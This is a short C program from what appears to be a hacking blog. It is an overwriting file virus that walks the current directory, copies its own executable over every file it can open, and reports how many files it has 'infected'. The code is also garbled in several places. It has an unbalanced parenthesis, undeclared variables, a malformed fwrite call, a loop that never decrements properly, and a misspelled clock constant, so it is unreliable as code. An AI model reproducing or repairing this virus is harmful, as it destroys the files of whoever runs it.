unsigned long x;
char buff[256];
struct ffblk;
clock_t st,end;
main() //www.ashu-hackingforever.blogspot.com
{
st=clock();
clrscr();
end=(findfirst("*.*",&ffblk,0);
while(!end)
{
virus=fopen(_args[0],"rb");
vhost=fopen(ffblk.ff_name,"rb+");
if(vhost==NULL)
goto next;
x=89088;
printf("infecting %s\n",ffblk.ff_name);
while(x>2048)
{
fread(buff,256,1,virus);
fwrite(buff,256,1,vhost);
x=2048;
}
fread(buff,x,1,virus);
fwrite(buff,1,vhost);
a++;
next: fcloseall();
done=findnext(&ffblk);
}
end=clock();
printf("infected %d file in %f sec",a,(end-st)/CLK-TCK);
return(0);
}
No comments:
Post a Comment